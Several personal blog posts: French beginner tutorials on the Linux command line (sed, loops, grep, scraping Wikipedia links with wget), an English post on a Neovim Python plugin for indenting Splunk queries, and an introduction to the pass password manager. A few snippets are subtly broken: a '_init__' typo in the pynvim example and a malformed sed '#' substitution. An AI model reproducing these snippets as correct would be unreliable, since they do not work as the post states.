cat exemple.csv | cut -d " " -f 1 | sed 's/;/ /g'

Résultat :

Robert Dupont rue
"Michel" "Durand" "
"Michel
"Michel Michele" "Durand" "av.

Et voilà ! Rechercher, filtrer, remplacer !

Ici, nous utilisons sed enchaîné avec d'autres processus, si vous désirer l'utiliser seul avec un seul fichier, il faudra utiliser l'option -i. Exemple: sed s/brusselles/Bruxelles/g fichier -i. Cet exemple remplacera toutes les occurrences de "brusselles" dans le fichier "fichier" par son orthographe correcte : "Bruxelles".

Précision: l'option -i est utilisée pour sauvegarder la modification dans le même fichier, il est aussi possible de rediriger le résultat vers un autre fichier.

Variables

En programmation, les variables sont des emplacements dans lesquels on peut enregistrer des informations. Par défaut, le terminal Linux utilise un langage que l'on appelle Bash ou parfois appelé shell script.

Grâce à celui-ci, nous pouvons enregistrer des informations dans des variables et les réutiliser.

Pour définir une variable, choisissez un nom, ici "nombre_deux" et une valeur, ici "2". Assigner une valeur à une variable se fait via le signe "=" : nombre_deux=2 et puis appuyez sur Entrée. Ensuite pour l'appeler, il faudra toujours précéder la variable par le symbole $. Exemple : echo $variable_deux et votre terminal devra vous répondre "2".

Exemple complet:

nombre_deux=2
echo $nombre_deux

Il est aussi possible de réassigner une variable:

nombre_deux=3
echo $nombre_deux

Le résultat ici devra être "3".

Boucles

Voici un autre concept de programmation : les boucles. Les boucles permettent à un programme d'être exécuté en répétition jusqu'à arriver à une certain condition. La syntaxe de base sera comme suit :

for VARIABLE in LISTE; do ACTION $VARIABLE; done

Pour lire ça en français, ça sera : "pour la variable "VARIABLE" dans la liste "LISTE", faire l'action "ACTION" et, quand il n'y a plus de variable dans la liste, terminer la boucle ("done" - réalisé, en français). Vous remarquerez que la variable est appelée avec le symbole "$" comme nous avons vu plus haut et que chaque instruction est séparée par un ";".

Vous ne devez pas nécessairement écrire les variables en capitales, je le fais juste pour différencier ce qui tient de la syntaxe de la fonction et ce que vous pouvez changer.

Essayons d'imprimer toutes les lignes de notre csv :

for ligne in $(cat exemple.csv); do echo $ligne; done

Qu'est-ce $(cat exemple.csv) ? En utilisant $(), nous pouvons exécuter une autre fonction Bash à l'intérieur d'une fonction, un peu comme des poupées russes. Donc en faisant cat exemple.csv, nous avons imprimé le csv dans le terminal et ensuite commencé la boucle.

Devra donner ce résultat :

Robert;Dupont;rue
du
Verger,
12;…
"Michel";"Durand";"
av.
de
la
Ferme,
89
";…
"Michel
""Michele""";"Durand";"
av.
de
la
Ferme,
89";…
"Michel;Michele";"Durand";"av.
de
la
Ferme,
89";…

Assez intéressant que le système coupe les lignes aux espaces...

Il est aussi possible de faire des boucles plus proches de ce qu'on retrouve dans les cours de maths, comme par exemple: "somme de tout n, partant de 0 jusque 100". En Bash (donc dans notre terminal), il sera possible de faire ça de la manière suivante (et en une ligne) :

somme=0; for i in $(seq 0 100); do somme=$(expr $somme + $i); done; echo $somme

Ok, perdu.e.s ? La première fois, moi aussi. Revenons dessus pas à pas :

somme=0 : nous définissons une variable "somme" et l'initialisons à 0
; : ce caractère nous permet de séparer différentes instructions en Bash. C'est-à-dire que nous disons à notre terminal de suivre la première instruction avec la suivante. Cela diffère de la barre verticale | où les deux instructions sont connectées.
for VARIABLE in CONDITION; do ACTION SUR VARIABLE; done : ceci est la syntaxe de base d'une boucle en Bash.
$(seq 0 100) : seq 0 100 est une instruction affichera les chiffres de 0 à 100 dans votre terminal (essayez !).
expr $somme + $i : pour que votre terminal comprenne que vous voulez faire une expression arithmétique, il faudra ajouter la fonction expr. Ensuite, appeler les deux variables somme et i (que nous avons définies au début de notre boucle) avec $. Cette fonction fera la somme de $somme ainsi que de $i et enregistra le résultat dans la variable somme.
done : permet de finir la boucle ouverte via for
echo $somme: va afficher le résultat final de notre boucle.

Félicitations, vous venez de faire votre première boucle !

Précisions: Pour seq, il est aussi possible de faire {1..100} et arriver au même résultat. Pour expr, il es aussi possible de faire $((1 + 1)).

Cas pratique : Fouiller une page web

Faire des additions, c'est utile mais nous avons tou.te.es des calculettes dans nos poches et franchement, on s'en fiche un peu de faire ça via le terminal.

Alors, voici un cas pratique qui va reprendre l'entièreté de la matière cet article et du précédent dans quelque chose d'utile : récupérer des informations d'une page web.

Ici, nous allons utiliser la plupart de concepts vus dans les deux premiers articles, s'il y a des parties que vous trouvez compliquées ou peu claires, n'hésitez pas à revenir sur vos pas. Le but n'est pas de tout comprendre d'un coup tout de suite mais d'intégrer les concepts à son aise.

D'abord, prenons cette page web : https://fr.wikipedia.org/wiki/Hedy_Lamarr.

Téléchargeons la via wget :

wget https://en.wikipedia.org/wiki/Hedy_Lamarr -O page.html

L'option de destination du fichier est un "o" majuscule pas un zéro !

Vérifions la page :

head page.html

En HTML, le langage de formatage des pages web, le liens sont précédés de la balise href= :

grep "href=" page.html

Choisissons maintenant un délimiteur :

cut -d '"' -f 1

Il est possible de faire passer plusieurs cut l'un à la suite de l'autre afin de filtrer au maximum le résultat de la page. En effet, le travail de filtrage de pages web peut être un peu laborieux au début afin de trouver les bons filtres. C'est important de tester différentes choses et de regarder le résultat et d'incrémenter progressivement la précision des-dits filtres.

Ici, nous allons récupérer tous les liens internes de la page Wikipédia, c'est-à-dire les liens qui commencent par /wiki/. Nous allons utiliser l'option -e de grep qui nous permettra de faire passer un filtre spécial (une expression régulière ou regex).

Les regex sont une langage de programmation qui permet de faire du filtrage plus précis de texte. Ce n'est pas le sujet de cet article car c'est assez abscon au début. Retenez ici jusque le "^" défini le début d'une chaine de caractère. Donc, dans l'exemple suivant ^/wiki/ signifie : toutes les lignes qui commencent exclusivement par "/wiki/".

grep "href=" page.html | cut -d '"' -f 2 | grep -e "^/wiki/" | sort -u > liens.txt

Vous remarquerez que les liens ne sont pas complets, c'est pour cela que nous allons corriger cela avec sed et l'option -i :

sed 's/\/wiki\//https:\/\/fr\.wikipedia\.org\/wiki\//g' liens.txt -i

Pourquoi des \ devant les caractères spéciaux ? Car sed fonctionne avec des regex et chaque caractère à une signification et une fonction particulière. Nous voulons considérer ces caractères de façon littérale, donc nous devons les échapper avec le caractère \. C'est-à-dire, dire à sed qu'il ne faut pas les considérer comme des fonctions mais comme de simples caractères. C'est le cas pour les / et .. Si vous regardez bien, les / qui se sont pas échappés, ce sont ceux qui sont nécessaires pour la syntaxe de sed.
Astuce : Il est aussi possible d'utiliser # lorsqu'il y a beaucoup de caractères à échapper. Donc, ceci est valide aussi et donnera le même résultat : sed 's#/wiki//#https://fr.wikipedia/.org/wiki/#' liens.txt -i (et est un peu plus facile à lire).

Vérifions notre liste de liens :

head liens.txt

Maintenant, nous allons télécharger tous les liens les uns à la suite de l'autre pour une lecture hors-ligne confortable.

mkdir dossier_liens
for lien in $(cat liens.txt); do wget $lien -P dossier_liens; done

L'option -P permet d'envoyer le résultat de wget dans un dossier plutôt que dans un fichier.

Et voilà le travail !

Il est possible de faire tout cela en une seule ligne. Les fameux "one-liners" dont les développeur.euse.s raffolent tant. Essayer de trouver une manière de faire ces commandes en une seule ligne et lancez-la ! Essayez d'arriver au même résultat avec différentes pages Wikipédia.

Conclusion

Nous avons vu dans ces deux articles comment traiter des listes, les filtrer, les nettoyer et en refaire des objets que nous pouvons utiliser par la suite !

N'hésitez pas à me contacter si vous avez des questions ou des remarques.

Edit : Merci à Dattaz pour les précisions et les astuces !

La ligne de commande Linux pour les impatient.e.s

chris — Thu, 07 Jan 2021 17:39:04 +0000

La ligne de commande Linux est un outil incroyable, elle permet d'avoir un interaction directe avec son ordinateur et propose un certain nombre de fonctionnalités qui augmentent assez vite la productivité.

Seulement, elle n'est pas nécessairement facile à prendre en main. Par défaut, vous vous retrouvez devant une fenêtre noire avec un curseur qui clignote un peu en mode années 80 ; ce n'est pas très rassurant !

Pourtant, il n'y a rien à craindre. Ce que vous voyez, c'est un terminal et nous allons écrire des commandes qui seront des instructions comprises par votre ordinateur. Si vous écrivez correctement les choses, votre ordinateur exécutera vos souhaits, autrement, il affichera une erreur.

Faites attention, il est possible de faire des bêtises via la ligne de commande. Soyez attentif.ve.s à ce que vous écrivez et tentez de toujours comprendre ce que vous tapez sur votre clavier

Les mouvements de base

L'intérieur de votre machine Linux fonctionne comme un arbre. Il a sa racine ("root" en anglais) et s'ouvre en myriades de branches qui ont toutes un chemin ("path" en anglais) standardisé.

La première chose à faire, c'est se localiser, pour cela, il y a une commande: pwd ("print working directory" - afficher le dossier courant).

Écrivez ces trois lettres dans votre terminal et appuyez sur Entrée. Vous devrez avoir un résultat comme: /home/chris (remplacez "chris" par votre nom d'utilisateur.ice). Ceci est votre maison ("home") ou dossier utilisateur.ice.

Maintenant, bougeons ! Pour se déplacer dans l'arbre, retenez la commande cd ("change directory" - changer de dossier). Il faudra ajouter un instruction à cette commande pour que votre ordinateur comprenne où vous décidez de vous rendre. Linux contient par défaut quelques raccourcis:

/: root, la racine de votre arbre à dossiers
~: home, votre dossier utilisateur.ice
..: dossier parent
.: dossier courant

Entrez cd /, appuyez sur entrée et ensuite pwd. Vous remarquerez que vous avez changé d'emplacement.

Il est aussi possible de bouger de dossier parent à dossier parent avec : cd ../../.

Que représentent ces / ? Ils sont les séparations entre les dossiers de votre arbre à dossier. Vous commencez par / et ensuite ajoutez un dossier, par exemple /home et ensuite encore un sous dossier: /home/chris. Et comme cela jusqu'à vous arriverez à votre destination souhaitée.

Maintenant pour afficher le contenu des dossiers: ls ("list" - lister). Essayez: cd / appuyez sur Entrée et puis ls et appuyez sur Entrée. Répétez cela avec cd ~ et puis ls et comparez les résultats.

Création de fichiers et de dossiers

Maintenant que vous savez vous déplacer, attaquons-nous à la création de dossiers.

Pour créer un fichier, nous utiliserons la commande touch ("toucher" en anglais) suivi du nom de fichier que nous voulons créer. Exemple : touch test.

Si vous avez un soucis à ce niveau, faites: cd ~ et puis réessayez.

Pour créer un dossier, nous utiliserons la commande mkdir ("make directory" - créer un dossier) suivi du nom de dossier que nous voulons créer. Exemple : mkdir dossier_test.

Maintenant, si vous faites ls, vous devrez trouver le fichier et le dossier créés.

Nous pouvons déplacer le fichier dans le dossier avec la commande mv ("move" - bouger en anglais) suivi de l'objet que nous voulons bouger suivi de la destination. Exemple: mv test dossier_test

Trop de fautes de frappes ? Pas assez de patience ? Les terminaux Linux ont une touche magique: Tab. Si vous appuyez dessus, il vous proposera des fichiers ou dossier présents dans le chemin courant où vous vous trouvez. Essayez et n'hésitez pas à appuyer plusieurs fois !

Nous pouvons aussi copier des objets grâce à la commande cp ("copy" - copier) suivi de l'objet et de la destination. Exemple: cp dossier_test/test test2.

Il est aussi possible d'effacer des fichiers avec la commande rm ("remove" - enlever). Mais faites attention, les fichiers effacés ne sont pas récupérables dans la corbeille, ils sont partis pour de bon !

Astuce : pour renommer un fichier ou un dossier, il vous suffira de bouger (mv) un fichier ou dossier vers son nouveau nom. Exemple: mv dossier_test dossier_final.

Que les choses sérieuses commencent !

Maintenant, vous avez une connaissance de base des mouvements grâce à la ligne de commande Linux. Nous allons plonger dans des utilités plus efficaces grâce à la ligne de commande, notamment le traitement de grands et lourds fichiers texte.

Lorsque les éditeurs de texte peuvent être lourds et lents à réagir, utiliser la ligne de commande vous permettra de trouver ce que vous chercher plus rapidement.

Afficher un fichier:

cat: affiche le fichier. N'affiche rien si le fichier est vide. Exemple : cat test2.
head: affiche les premières lignes du fichier. N'affiche rien si le fichier est vide. Exemple : head fichier
tail: affiche les dernières lignes du fichier. N'affiche rien si le fichier est vide. Exemple: tail fichier

Chercher un fichier:

Pour chercher un fichier, nous utilisons une commande qui s'appelle grep. Qui nous permettra de fouiller le texte d'un fichier d'en extraire les résultats.

Prenons d'abord un gros texte, par exemple un version texte de Frankenstein de Mary Shelley (c'est dans le domaine public de nous en faites pas vous ne faites rien d'illégal). Téléchargez le avec cette commande:

wget https://archive.org/stream/Frankenstein1818Edition/frank-a5_djvu.txt -O
texte_complet.txt

wget est une commande qui vous permet de télécharger une page web.

Attendez quelques secondes, puis vérifiez que le texte (texte_complet.txt) est présent en utilisant ls.

Pour chercher le texte, vous devrez définir le mot que vous recherchez ainsi que l'endroit où vous voulez le chercher. Ici:

grep "love" texte_complet.txt

Cette commande va rechercher le mot "love" ("amour") dans le texte de Frankenstein. Vous remarquerez que grep trouve aussi des mots comme "beloved" ou "lovely" qui ne sont pas nécessairement ce que nous voulons. Rajoutons des espaces autour de notre cible:

grep " love " texte_complet.txt

Ici, grep va rechercher toutes les occurrences de "love" mais entre deux espaces.

Il est possible de compter le nombre de résultats. Pour cela, nous allons introduire un nouveau concept: |.

La barre verticale ou "pipe" en anglais va permettre de transférer le résultat d'une commande vers une autre commande.

Nous allons envoyer le résultat de notre rechercher dans la commande wc ("word count" - compte de mots) qui va compter le nombre de résultats:

grep " love " texte_complet.txt | wc -w

-w est une option de la commande wc qui affiche le nombre de mots. Ces options sont disponibles pour chaque commandes, vous pouvez les explorer avec l'option --help. Par exemple : ls --help.

Ok, tout cela est bien joli mais nous pouvons faire plus !

Prenons, la liste des 10 000 mots de passe les plus communs:

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt -O liste_mdp.txt

Pour compter le nombre de ligne du fichier: wc -l liste_mdp.txt. Si tout va bien, vous verrez 10 000.

Maintenant cherchons le mot "pass" dans cette liste : grep "pass" liste_mdp.txt. Il y a plus de résultats que nous pouvons compter, comptons:

grep "pass" liste_mdp.txt | wc -l

Est-ce possible que nous ayons des doublons ? Peu probable, mais testons cela grâce à la commande sort ("trier" en anglais):

grep "pass" liste_mdp.txt | sort -u | wc -l

Pourquoi mettons sort avant wc ? Parce que nous voulons compter le nombre de mots après qu'ils soit triés.

La dernière étape de ce tutoriel, sera de sauvegarder le résultat de notre recherche dans un fichier. Pour cela nous utiliserons les chevrons: > et >>.

Ces deux caractères nous permettent, comme la barre verticale, de rediriger le résultat d'une fonction mais cette fois-ci afin de l'écrire dans un fichier.

grep "pass" liste_mdp.txt | sort -u > resultat.txt

La différence entre > et >>, c'est que > récriera votre fichier tandis que >> ajoutera le résultat à la fin du fichier ("append" en anglais). Donc si vous rajoutez des informations, utilisez plutôt >> au risque de perdre vos recherches précédentes.

Maintenant vous pouvez faire: cat resultat.txt et vous verrez le résultat de votre recherche !

Pourquoi est-ce utile ?

Je suis bien conscient que ces quelques exemples peuvent paraître un peu abscons lorsqu'on débute. Pourtant ce genre de recherches est très courantes lorsque vous travaillez avec de volumineux fichiers comme les données de connexion sur un serveur ou bien d'importantes listes.

Maintenant vous savez :

naviguer dans l'arbre à fichier
afficher le contenu d'un fichier et d'un dossier
créer, copier, effacer des fichiers et des dossiers
télécharger des pages web
chercher des occurrences, les compter, les trier et les sauver

EDIT:

Voici quelques astuces en plus proposées par dattaz sur Twitter.

cd - : retour au dossier précédent
man : pour avoir le documentation des options des commandes. Example: man cd.
grep peut compter directement les lignes avec l'option -c. Example: grep -c " love " texte_complet.txt.

Autre astuce grep l'option -v qui permet d'afficher toutes les lignes qui n'ont PAS le mot.

Ainsi qu'une précision : sort utilisé sans options va seulement trier votre liste par ordre alphabétique. C'est l'option -u qui vous permettra de trier ainsi que d'enlever les doublons.

How I wrote my first Neovim plugin

chris — Tue, 15 Dec 2020 22:41:55 +0000

I am a big user of Vim and Neovim. I probably don't know all the bindings and all the magic inside, but I use it daily and it has become one of my favorite app.

In previous articles (here and here), I've already went through some plugins I (used) to use and some configuration tips.

But today, we are going to take one step further: writing a plugin!

The pain

We use Splunk at work a data-driven cloud app which has its own query language. Writing queries for Splunk can get cumbersome especially when they are starting to become larger and larger and you get lost in the amount of parenthesizes.

The solution I found was to write a small python script that would indent and separate the different blocks allowing a more convenient way to read the queries.

And then...

What about making it a Neovim plugin? As Neovim has a python interface, it should work right? Spoiler: yes.

Let's dive in!

Writing a plugin

First, we need to set a couple of things up. Python binaries must be in your shell PATH (you can check that with :checkhealth).

As you can see here, the python binaries are missing from the PATH and Neovim cannot run anything with it. So let's add those lines in our init.vim:

let g:python3_host_prog = '/usr/bin/python3'
let g:python_host_prog = '/usr/bin/python2'

Alternatively you could add the binaries to you path:

export PATH=$PATH:/usr/bin/python:/usr/bin/python3

And check it with echo $PATH.

Then check that you have both version of pynvim, the python Neovim library:

python3 -m pip install pynvim
python -m pip install pynvim

After that we can start setting up our repository and our folders:

# do your git magic here
mkdir -p rplugin/python
touch rplugin/python/nvim-test.py

According to the documentation, remote plugins are the new way to do things so we're going to follow that.

Let's look into nvim-test.py and get some inspiration from this Jacob Simpson's example:

import pynvim

@pynvim.plugin
class TestPlugin(object):
    def _init__(self, nvim):
        self.nvim = nvim

    @pynvim.function("TestFunction")
    def testFunction(self, args):
        self.nvim.current.line = "Hello from your plugin!"

Breaking up the code:

We initialize the class and the subclass nvim
We create a function that will overwrite the current line

To test this, you could update your plugin on a git instance and update the plugins form your init.vim. But... you could also use a test vimrc:

echo "let &runtimepath.=','.escape(expand('<sfile>:p:h'), '\,')" > testvimrc

Now start nvim -u testvimrc and run :UpdateRemotePlugins this will register you plugin as a remote plugin and generate the manifest. Check that with: cat ~/.local/share/nvim/rplugin.vim, the file should not be empty and you should see your plugin there.

Now, running after reloading Neovim, :call TestFunction() should normally work and you can test your work. I think that so far you need to reboot Neovim every time you update the remove plugins, but maybe there's a way to bypass that.

Now for the work I did:

import re

import pynvim


@pynvim.plugin
class SplunkLinter(object):
    def __init__(self, nvim):
        self.nvim = nvim

    @pynvim.function("LintSplunk")
    def lintSplunk(self, args):
        current_line = self.nvim.current.line
        front = current_line.split("(")
        i = 0
        j = 0
        res = ""
        for line in front:
            p = ""
            if j != 0:
                p = "("
            back = re.findall("\)", line)
            line = ((i) * "\t") + p + line
            self.nvim.current.buffer.append(line, -1)
            if len(back) == 0:
                i = i + 1
            elif len(back) > 1:
                i = i - len(back)
                if i < 0:
                    i = 0
            j = j + 1
        self.nvim.current.line = ""
        return

Before you say anything, I know this can be improved. Basically this code is going to indent a string based on the level of parenthesizes that it contains. It's basically what I need and it does the job!

test (on) (one) (one (two (three))) (one) ((two))

# to

test
    (on)
    (one)
    (one
        (two
            (three)))
        (one)
        (
            (two))

The Github repo is here: https://github.com/christalib/nvim-splunk-linter, feel free to open issues, PR's and such!

Have you already developed a plugin for Neovim or Vim? How did you do it?

Pass: the simple CLI password manager

chris — Wed, 02 Dec 2020 10:52:54 +0000

Do you use a password manager? If not, you should. But which one should you choose? There are a lot out there and a lot of good free ones such as the Keepass (X, XC etc.) or paying versions such as LastPass (edit: free for individuals) or OnePassword. This WIRED article lists some for you.

Today, I'd like to talk about a really cool, simple, perfect for the CLI dwellers like us, password manager: pass

Less is more

Pass is a CLI password manager, this means that unless you use one of the available interfaces, you will only be working in your terminal.

Pass works by using a GPG key to encrypt each passwords and stores the results in a Git repository. This means that backups are insanely easy: git push origin main and that's it!

In the past years, I have been using Keepass and KeepassXC a lot. I did like the way they worked but I was sometimes annoyed to keep a window open all the time for my passwords. Also, used to break my computers very often, I lost a certain amount of passwords over the time.

Pass has the usability of any CLI tool and uses the basics of Bash commands to manage your passwords. It's a dead simple encrypted folder and I have to say that is all I need.

Demo

The demo was made on a Linux with gpg-agent installed.

You would initialize your password repo like this (default location: ~/.password-store):

pass init yourgpgkeyID@securethings.com

Then, after signing up for your favorite online service, you can generate or insert a new password:

pass insert # then type your password
pass generate -c Newsletters/awesomeThing 32 # to generate a 32 random password and copy it to the clipboard

After, a couple of days later you can search for your password:

pass search awesomeThing # and when you found the folder then:
pass -c Newsletters/awesomeThing
# here you will need to decrypt your GPG key

Now let's say you want to back all of this on a private Git repo (Github, Gitea, Gitlab...):

pass git remote add origin URL
pass git push

Each pass command will run the add and commit for you, so you will only have to push to your repo.

Keep in mind that your GPG key is not backed up with your repo. You need to do to that separately.

Do you need to remove a password?

pass rm Newsletters/awesomeThing

Do you need to move a password?

pass mv Newsletters/awesomeThing Videos/awesomeThing

You can also edit, show and cp the passwords.

Ready to make the move? Check out those import scripts on the official website!

Are you ready to use pass? What's your favorite password manager?